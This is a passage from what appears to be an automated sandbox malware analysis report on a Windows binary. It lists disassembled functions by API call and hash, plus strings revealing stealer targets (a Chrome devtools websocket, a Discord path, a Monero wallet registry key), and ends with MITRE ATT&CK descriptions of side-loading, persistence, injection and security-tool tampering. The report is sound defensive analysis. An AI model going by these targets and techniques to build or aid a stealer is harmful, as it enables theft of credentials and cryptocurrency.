Instruction Fuzzy Hash: FAE09276B801049BE315C789EC90F7973A6AFC9300F6940399616C73D2CE74AC05876C

Function 00409580 Relevance: 1.5, APIs: 1, Instructions: 23filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,00000FFF,?), ref: 004095AA

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 0b13a4c9756e6dbc5a3b479240f144414e6dfb9d172209e6f6427846867f8471
Instruction ID: 282d77582df1dc03db1effc52c008eafb25d4b73df9bbd85ee4dda3fdaa0c12f
Opcode Fuzzy Hash: 0b13a4c9756e6dbc5a3b479240f144414e6dfb9d172209e6f6427846867f8471
Instruction Fuzzy Hash: 41E0DF7A344001EFC384CB5CDC85EAA33E9AF842047180579B80AC73A2EB70ED19CB08

Function 0040C924 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

PathFileExistsA.SHLWAPI(00000000), ref: 0040C94F

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ExistsFilePath
String ID:
API String ID: 1174141254-0
Opcode ID: 20f0f2f987cdd6fd5d78be4d92f2ad059cd5cf2e3368b0de4e59f1860672bcd1
Instruction ID: a0ac7273f53d20d96c15c6bff5cc153122d5beba8fb7721ef6fb638b5fbe53e8
Opcode Fuzzy Hash: 20f0f2f987cdd6fd5d78be4d92f2ad059cd5cf2e3368b0de4e59f1860672bcd1
Instruction Fuzzy Hash: 40E09276B002058FC788FB9CDCE4F6933E4EB46204B04003C9906D3351DA289D16CB48

Function 00407751 Relevance: 1.5, APIs: 1, Instructions: 22networkCOMMON

Download Yara Rule

APIs

InternetConnectA.WININET ref: 00407787

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: ConnectInternet
String ID:
API String ID: 3050416762-0
Opcode ID: b95de7b108c177cff31b336e0a3386d780ae9b85be1aeec919afe5d5e6169278
Instruction ID: 1446014fd0c9d4017d764f9b938a641aa2b32dcb309b268e3664a91dcaf54a16
Opcode Fuzzy Hash: b95de7b108c177cff31b336e0a3386d780ae9b85be1aeec919afe5d5e6169278
Instruction Fuzzy Hash: 62F0A034E093418BC314CF69D54062AB7F2BFD9305F15C62DE85887364EA309C91CF41

Function 00422B74 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

K32GetModuleFileNameExA.KERNEL32(?,00000000,?,00000104), ref: 00422B84

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileModuleName
String ID:
API String ID: 514040917-0
Opcode ID: 52b15660bd697938981da5ee73889311184e970823131d8a2279e521e5bee4fd
Instruction ID: 69e6cde24125f6890367141ee933c78470dc6f28d39b691ac87247349ccaad8d
Opcode Fuzzy Hash: 52b15660bd697938981da5ee73889311184e970823131d8a2279e521e5bee4fd
Instruction Fuzzy Hash: ABD05E763801082BE600F74FFCC1FBA33A8FB83ABCF080035F288C3280C559A8994169

Function 00421B88 Relevance: 1.5, APIs: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000008), ref: 00421BA2

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 793ce0ae4f8bb3d1bb642a415763f876b6cd25f1444373563aa98e422428ced6
Instruction ID: 026f7c298e305e7d7ce455381b0712138cb142cdf70c581b58335424dd276684
Opcode Fuzzy Hash: 793ce0ae4f8bb3d1bb642a415763f876b6cd25f1444373563aa98e422428ced6
Instruction Fuzzy Hash: C2E0DF756002028BC304CF69DC90E1A33E4FF85310B05007DA801D3361CB34EC45CB88

Function 0040C975 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32 ref: 0040C9A9

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 3fb8d76a0d4f9672b6b9978df7dcd38b4171413283df2e9b1cfd581a8d4a8782
Instruction ID: 79fb95547d5fdbe54a16516f1546399437a45ab7f8c97ea9a6881ddec385e781
Opcode Fuzzy Hash: 3fb8d76a0d4f9672b6b9978df7dcd38b4171413283df2e9b1cfd581a8d4a8782
Instruction Fuzzy Hash: 46F03971944241CBE740EF6CEC8476977F0FB94314F14462CE894D72A1DB7499998B4A

Function 0040CAD1 Relevance: 1.5, APIs: 1, Instructions: 20fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0040CAEC

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 1fe233bd45b73fb4e76dadc43ffb76967d15a1422c2845191ef2c301cb6acfbd
Instruction ID: 8f33944eb265aadd8b99b5613bb51d2a6a1012877fb87abd0653211fac53b3bf
Opcode Fuzzy Hash: 1fe233bd45b73fb4e76dadc43ffb76967d15a1422c2845191ef2c301cb6acfbd
Instruction Fuzzy Hash: CFE04870B412069FC704EFA5CD84F96B7B6FF84644F548568D401D7159EA719806C794

Function 00407577 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00407595

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: d5a124b95e8bc4c3e1f3e95d3fb65c91abebdf14dc202bef6a08ef83a9e7944e
Instruction ID: 963582a35b66bed99ea66d0bc2acf321a401b6ea9db6545d1c7eb55d2b29d0a8
Opcode Fuzzy Hash: d5a124b95e8bc4c3e1f3e95d3fb65c91abebdf14dc202bef6a08ef83a9e7944e
Instruction Fuzzy Hash: F6E04F7270020A9FDB44CF94DD90EA673BBEFC4304F1444689105E7261DA70AD06DB94

Function 00421992 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 004219B0

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 6ad2aecadb6b92fef9065b430b3f00a23771f5bd5df6e859b6afbc5f368a2d2c
Instruction ID: 1cc98b9c078abeda64e2b049747d0090427da3c271b2c9e07a9196400bb093bd
Opcode Fuzzy Hash: 6ad2aecadb6b92fef9065b430b3f00a23771f5bd5df6e859b6afbc5f368a2d2c
Instruction Fuzzy Hash: 88E0C2BF2002509FC310CB6ADC4085E772BFBC223032E0518E421D33E0D638E9028AA8

Function 0040BD53 Relevance: 1.5, APIs: 1, Instructions: 19fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 0040BD73

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 24114e56f6486e8bfd70d2abaa09d7b493a70cea7421b2c08c96600f2418ed62
Instruction ID: 7de03404172e5aabe1c443ce8fe071b09326cd08ca7e4df849f82930eaead7d2
Opcode Fuzzy Hash: 24114e56f6486e8bfd70d2abaa09d7b493a70cea7421b2c08c96600f2418ed62
Instruction Fuzzy Hash: 1BE0467A280301AFEB04DF50CCC0F2AB372FB8A720B14C058EC008B266E734E811AF60

Function 0041EFEF Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentHwProfileA.ADVAPI32(?), ref: 0041F011

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CurrentProfile
String ID:
API String ID: 2104809126-0
Opcode ID: 1bb8bf45926aeb78dc0df2a22b1925beb13621fe846422212df0629430937606
Instruction ID: 8b1b12d0e7ad679d432470b63cf508538332a85973f9a3fcf61e176a271b0cc5
Opcode Fuzzy Hash: 1bb8bf45926aeb78dc0df2a22b1925beb13621fe846422212df0629430937606
Instruction Fuzzy Hash: 37E0C27A3002058BD324EF28DC90E9BB769AF97340F21842CBD4187351EA32EC088B91

Function 004070A7 Relevance: 1.5, APIs: 1, Instructions: 18filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000000C7,?), ref: 004070C0

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 546b1b817affd0ba002faa5689473d396effbf13e0107113c382e3037954a148
Instruction ID: 087524e99e2e36aa6c24c0d744c8560dd19395c8f046e54837bd47bfdc5e2b69
Opcode Fuzzy Hash: 546b1b817affd0ba002faa5689473d396effbf13e0107113c382e3037954a148
Instruction Fuzzy Hash: 2DE012B6741111ABEB1CC764CC659BA7A66AF96280B24413CA41797AD0E631A901C651

Function 00406333 Relevance: 1.5, APIs: 1, Instructions: 18filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000007CF,?), ref: 0040634C

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: b9918eb97e5bea99c1d356312d8d340aa729f123eee411683adfacc09c233fb8
Instruction ID: e80a74c448b2809dfa2cf42497063a6acbaa13e565d0bdd883d0bc87c2d4b46b
Opcode Fuzzy Hash: b9918eb97e5bea99c1d356312d8d340aa729f123eee411683adfacc09c233fb8
Instruction Fuzzy Hash: CAE08CB6B0020BEFEF08CF04CCD1E65B3BAAB8430472480289405DB399E671ED028B50

Function 00422384 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 00422398

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID:
API String ID: 2244384528-0
Opcode ID: 626707349cb6978d03d3e19a4fb391f0d79e528f92faa6b35c17b36f3a53c805
Instruction ID: 7bdeb3cd2f91353ee1d3f4ce7728727f60221488556750a91bea947e3788f92e
Opcode Fuzzy Hash: 626707349cb6978d03d3e19a4fb391f0d79e528f92faa6b35c17b36f3a53c805
Instruction Fuzzy Hash: CBD05B753001025FF718CB59CC93F593356A755304F1C4524F602DB6D5E560D8028744

Function 00407913 Relevance: 1.5, APIs: 1, Instructions: 17filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000007CF,?), ref: 0040792F

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 424e219dfdf8514739f52499651c48f9878a3e7104e72651a24c05815333082c
Instruction ID: 79d45554b27fa09bf4581156ee703008adca5f77a3fafbdbf00c8d7df8431c84
Opcode Fuzzy Hash: 424e219dfdf8514739f52499651c48f9878a3e7104e72651a24c05815333082c
Instruction Fuzzy Hash: 17E012B6B421569BEB18CB65DC91E9E337AEB56200B05802CA506A7250E930AD51CB90

Function 00404F86 Relevance: 1.5, APIs: 1, Instructions: 17filenetworkCOMMON

Download Yara Rule

APIs

InternetReadFile.WININET(?,?,000007CF,?), ref: 00404F9F

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: FileInternetRead
String ID:
API String ID: 778332206-0
Opcode ID: 571e24645761fac644e174942f847ef6c0013c5ba2d74888f91d1e860bba1106
Instruction ID: 2cce16e57b110384986bc3907c8539cc9eec47c1517a23192c1d69bd0d79c129
Opcode Fuzzy Hash: 571e24645761fac644e174942f847ef6c0013c5ba2d74888f91d1e860bba1106
Instruction Fuzzy Hash: C6E0C231B241119FD304EB94DC84D0677B6ABD57003048438A401DB358E231AD01CB40

Function 00420268 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32(?,?), ref: 0042027D

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 3cf2509ff0fc67728fd6910ac9e61a6febb8140007dbc3dabbb60ed7bbd7c3ca
Instruction ID: 472f168c98467f6050b8b6ae28b630018f91697d413617e88336b4e14123bb41
Opcode Fuzzy Hash: 3cf2509ff0fc67728fd6910ac9e61a6febb8140007dbc3dabbb60ed7bbd7c3ca
Instruction Fuzzy Hash: 7CE017B67002419FDB0CDB58DCA1F6673E1B798200F04087CE916CB3A0FA39DC049B14

Function 00423646 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00423651

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 9e0d8f383895cfcf800a0cf09e3caa25afbf4b03fc6cf6bd0753ab5c419e899c
Instruction ID: 9abe59a6ac43a9b84b513fa3df34008672bafd94d198bd606b6e833ccc4e43ac
Opcode Fuzzy Hash: 9e0d8f383895cfcf800a0cf09e3caa25afbf4b03fc6cf6bd0753ab5c419e899c
Instruction Fuzzy Hash: 20D05B34302111EB8314CF0DDD41D56B3E9AFC6249394856CE105CB346D779DE168B59

Function 00409C5B Relevance: 1.5, APIs: 1, Instructions: 16networkCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000001,00000006), ref: 00409C6D

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: socket
String ID:
API String ID: 98920635-0
Opcode ID: b62aeab5212f7cc365a4e332f7e80607400786f412a85baa86ec53f08c962c95
Instruction ID: e427cbbe3e3b83450029c41dc8cf312ea74f1a6a1087ca7c39bd8c843ca28d30
Opcode Fuzzy Hash: b62aeab5212f7cc365a4e332f7e80607400786f412a85baa86ec53f08c962c95
Instruction Fuzzy Hash: 2AD05B34380550D7E7249798DCD5F1562036FC0764F6C45296526BF7D1C2A55C514744

Function 0040A448 Relevance: 1.5, APIs: 1, Instructions: 15networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00001000,00000000), ref: 0040A45B

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: a0b38797b0c4993cb6cb6c0d406990d8ac3111ba521a743e6bbe61eb680d21bf
Instruction ID: 533c664c92f654cb3d350bcdb2dc7710a5b11fcccbc60dcf5c58030cdea738a0
Opcode Fuzzy Hash: a0b38797b0c4993cb6cb6c0d406990d8ac3111ba521a743e6bbe61eb680d21bf
Instruction Fuzzy Hash: 1ED05E30340501E7EB68CB09CC94F2676A2EFC4788F14403CA11A962E5C524EC55CA48

Function 0042351E Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

Process32Next.KERNEL32 ref: 00423529

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: NextProcess32
String ID:
API String ID: 1850201408-0
Opcode ID: 08c310df711f07a2628d32e9ecedf022eaf25dce794c6d43b118286a36e3db00
Instruction ID: 30a14a1c631fd8df27b22c6e9e8fd007448dc770daa81c8ea299fb2972b56920
Opcode Fuzzy Hash: 08c310df711f07a2628d32e9ecedf022eaf25dce794c6d43b118286a36e3db00
Instruction Fuzzy Hash: DDD0C9B53510059FE748CB1DDCB2FA922D5EB89304F41043CE905C3391EA25EC004A69

Function 0040B9F7 Relevance: 1.3, APIs: 1, Instructions: 34sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00001388), ref: 0040BA08

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 9eaabe2224cfc6cedc61a79e2c437a7780a764cab66168bb6b062424f86a40c7
Instruction ID: 3e039caba67044b8d9b8e958b2cf6be79839125fb4120b1e979567a09ada8819
Opcode Fuzzy Hash: 9eaabe2224cfc6cedc61a79e2c437a7780a764cab66168bb6b062424f86a40c7
Instruction Fuzzy Hash: F8018176E00A069BC700DF6CDD41599B7B0FF966547188618E815E7311E734EBA1CB86

Function 0040BD06 Relevance: 1.3, APIs: 1, Instructions: 23memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 0040BD26

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: c377abbe058f10c7c61271b5a3be8125000977851a4c9f7b22e962b9518e095b
Instruction ID: 0bcc5d993c2c7e37ca0594778a99a0c5f3d31ca37785c4404c3f400d8cff8a5e
Opcode Fuzzy Hash: c377abbe058f10c7c61271b5a3be8125000977851a4c9f7b22e962b9518e095b
Instruction Fuzzy Hash: 53F0A5783412059FDB49DF68C8E1B2537A2FB89318F148468ED49CB3A6DA35E815CB14

Function 0042813D Relevance: 1.3, APIs: 1, Instructions: 14sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 00428149

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 106baacf015fc6d1b505aeaa1aed9208c3d8b86e2bc4becdd407fa80e2434c40
Instruction ID: 1ec6d698f8c7314eed12bf6c9099bfba818a30df57da3943142d8246e6112fd9
Opcode Fuzzy Hash: 106baacf015fc6d1b505aeaa1aed9208c3d8b86e2bc4becdd407fa80e2434c40
Instruction Fuzzy Hash: 8FD0177A6012188FE754DF48DDC17AE3361EB85308F104036EF15873A6CA79AE818788

Function 00421A85 Relevance: 1.3, APIs: 1, Instructions: 14memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 00421A96

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 0f8be814a7971a368e9821d9d7834ddabbc1989af1d6b07cbf4874eb77a62b40
Instruction ID: 14f6cd4519ee4ebef17a717330bcb3ff299f631b71273e661ec660b2a6ef47df
Opcode Fuzzy Hash: 0f8be814a7971a368e9821d9d7834ddabbc1989af1d6b07cbf4874eb77a62b40
Instruction Fuzzy Hash: A4D0A77A3462029BDB0CCB51DCB1E32732BBF94310714C16C8902477D4EA316400CB15

Function 0042CF30 Relevance: 1.3, APIs: 1, Instructions: 14sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(000003E8), ref: 0042CF40

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 5dea162a58ecae8de7f2311a69ea6b7820db9053f5f8bcad363771db4238dece
Instruction ID: c4cd275ba534db618227e8673299b130c2c96b59d8a8ec562d0084890e5482b0
Opcode Fuzzy Hash: 5dea162a58ecae8de7f2311a69ea6b7820db9053f5f8bcad363771db4238dece
Instruction Fuzzy Hash: BEE0EC76A40190CFC20DDB14D9D4F6873A2AB99342BA14254D626476E1EF36AD44DB2C

Non-executed Functions

Function 0040B4E1 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 99COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040B55D

Strings

ws://localhost:9223, xrefs: 0040B577, 0040B57D, 0040B58A
localhost, xrefs: 0040B4F3, 0040B4F9, 0040B509
/devtools, xrefs: 0040B51E, 0040B524, 0040B537

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset
String ID: /devtools$localhost$ws://localhost:9223
API String ID: 2221118986-2676143373
Opcode ID: db8ba058892ff46890d0d8dff12277a57eb397f3e5172dda719e70686d6ed947
Instruction ID: 94e44766b1f48ed0313359b6b2832c1626453bbd1d254d7316a7bd8e4186ea0b
Opcode Fuzzy Hash: db8ba058892ff46890d0d8dff12277a57eb397f3e5172dda719e70686d6ed947
Instruction Fuzzy Hash: 1D31EAB67801109FD704DBA8DCC1E6E37BCEBC6714B0C4129E906D3352DA789A65CB59

Function 0042993F Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 98COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0042995B
memset.MSVCRT ref: 0042996C

Strings

C$n, xrefs: 004299F7
\discord\, xrefs: 004299C8, 004299CE, 004299DB

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset
String ID: C$n$\discord\
API String ID: 2221118986-695827262
Opcode ID: c345ef2812bc68e658e74a74bf69f4bc64b0e86f0f512324dfc0ea04a0b5d0b2
Instruction ID: 2ed6e5277a763543ee5a6e9ab04d990fc49394e88863e3d643c10f1d4990ae40
Opcode Fuzzy Hash: c345ef2812bc68e658e74a74bf69f4bc64b0e86f0f512324dfc0ea04a0b5d0b2
Instruction Fuzzy Hash: F6317176A002149BD210EB9DDC85E9B77EAAFD6314F080034E805D7352D7749E19C7E9

Function 004011B9 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004011D3

Strings

qqt, xrefs: 00401259
SOFTWARE\monero-project\monero-core, xrefs: 004011F2, 004011F8, 00401224, 00401229
wallet_path, xrefs: 00401210, 00401216, 00401223

Memory Dump Source

Source File: 00000001.00000002.2658080535.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_Handler.jbxd

Yara matches

Similarity

API ID: memset
String ID: SOFTWARE\monero-project\monero-core$qqt$wallet_path
API String ID: 2221118986-2179174401
Opcode ID: 6547e106f19dbda9d7c1aadcfe2a743e189930704852a13bb4a66418b43e7448
Instruction ID: 7a2c87307ec0540e7d715f3f6b37445b2dbc1dc42b57d5ae72fd3d8d753b74c4
Opcode Fuzzy Hash: 6547e106f19dbda9d7c1aadcfe2a743e189930704852a13bb4a66418b43e7448
Instruction Fuzzy Hash: 4901C4757101006BD308E758EC8AE3F37AEE7C6755F48402EF805E7742EAE8A919876D

Input	Output
URL: email Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": [ "No headers provided to analyze", "Cannot make security assessment without header information", "Default to low risk score due to lack of evidence" ] }
Date: unknown

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create an account to maintain access to victim systems. With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.
Tactics:	Persistence
Data Sources:	Command: Command Execution, Process: Process Creation, User Account: User Account Creation
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
